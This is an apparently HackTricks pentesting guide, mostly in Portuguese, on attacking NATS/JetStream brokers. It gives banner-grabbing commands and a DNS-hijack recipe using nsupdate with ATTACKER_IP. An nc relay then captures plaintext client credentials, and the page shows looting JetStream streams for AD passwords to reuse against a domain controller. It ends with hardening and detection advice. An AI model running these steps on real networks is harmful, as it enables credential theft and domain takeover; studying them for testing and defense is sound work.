4222 - Pentesting NATS / JetStream
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
NATS é um barramento de mensagens de alto desempenho que usa um protocolo simples baseado em texto: o servidor transmite um banner JSON INFO { ... } imediatamente após a conexão TCP, e o cliente responde com um frame CONNECT {"user":"USERNAME","pass":"PASSWORD",...} seguido por comandos opcionais PING/PUB/SUB. JetStream adiciona primitivas de persistência (Streams & Consumers) sobre a mesma porta TCP (4222/tcp). TLS e autenticação são opcionais, então muitas implantações internas executam plaintext AUTH.
- Porta padrão: 4222/tcp (4223+ para rotas em cluster)
- Campos padrão do banner:
"version","auth_required","jetstream","max_payload","tls_required"
Enumeração
Banner grabbing / service probes
nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open nats NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}
O frame INFO também pode ser extraído manualmente:
echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'
Instale o CLI oficial (Go ≥1.21) para uma interação mais aprofundada:
go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt
Falhas de autenticação imediatamente disparam nats: Authorization Violation, portanto credenciais válidas são necessárias para qualquer RPC significativo.
Captura de credenciais via DNS/impersonação de serviço
- Identificar entradas DNS do AD obsoletas para o broker hostname (e.g.
nats-svc.domain.local). Se o registro retornarNXDOMAIN, um usuário de domínio com privilégios baixos pode recriá-lo graças às ACLs default de dynamic-update. Veja AD DNS Records abuse para contexto. - Registre o hostname para um IP controlado pelo atacante:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
- Espelhe o banner legítimo uma vez, depois replay para cada client que conectar. NATS confia na primeira linha
INFOque vê, então só precisamos passar isso por um listener:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
- Assim que um cliente interno resolver o hijacked name, ele emitirá um plaintext
CONNECTframe contendo o paruser/passe várias telemetrias (client name, Go version, protocol level). Como nada além do INFO banner é necessário, até mesmoncbasta para extrair segredos. - Para trabalhos mais longos, execute o servidor oficial localmente (
git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V). Os logs TRACE já mostram usernames; remover o redaction helper ou capturar tráfego com Wireshark revela o full password.
JetStream looting & password hunting
Once any credential is recovered (e.g. Dev_Account_A), store it as a CLI context to avoid retyping:
nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
A descoberta do JetStream geralmente segue este padrão:
nats account info --context mirage # quotas, stream count, expiration
nats stream list --context mirage # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage
Equipes de streaming frequentemente registram eventos de autenticação em subjects como logs.auth. Se os desenvolvedores persistirem o JSON bruto em um JetStream stream, as cargas úteis podem incluir nomes de usuário e senhas do AD em texto plano:
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
Segredos retidos podem então ser reproduzidos contra serviços somente Kerberos usando netexec smb DC01 -u USER -p PASS -k, permitindo o comprometimento completo do domínio.
Endurecimento & detecção
- Enforce TLS (
tls,tls_required, or mTLS viankey/creds). Sem criptografia, INFO/CONNECT leaks credenciais para qualquer atacante em posição on-path. - Pinpoint who can update DNS – delegue registros de serviço para contas dedicadas e audite Event IDs 257/252 para hostnames de alto valor. Combine com alertas de scavenging para que nomes de broker ausentes não possam ser silenciosamente reivindicados novamente.
- Disable credential logging. Remova segredos antes de publicar em subjects, defina limites de retenção/idade do JetStream, e aplique
deny_delete=falseapenas a operadores confiáveis. - Monitor for banner anomalies – conexões repetidas de curta duração, timeouts de autenticação, ou INFO banners que não correspondem ao template aprovado sugerem servidores falsificados.
References
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks

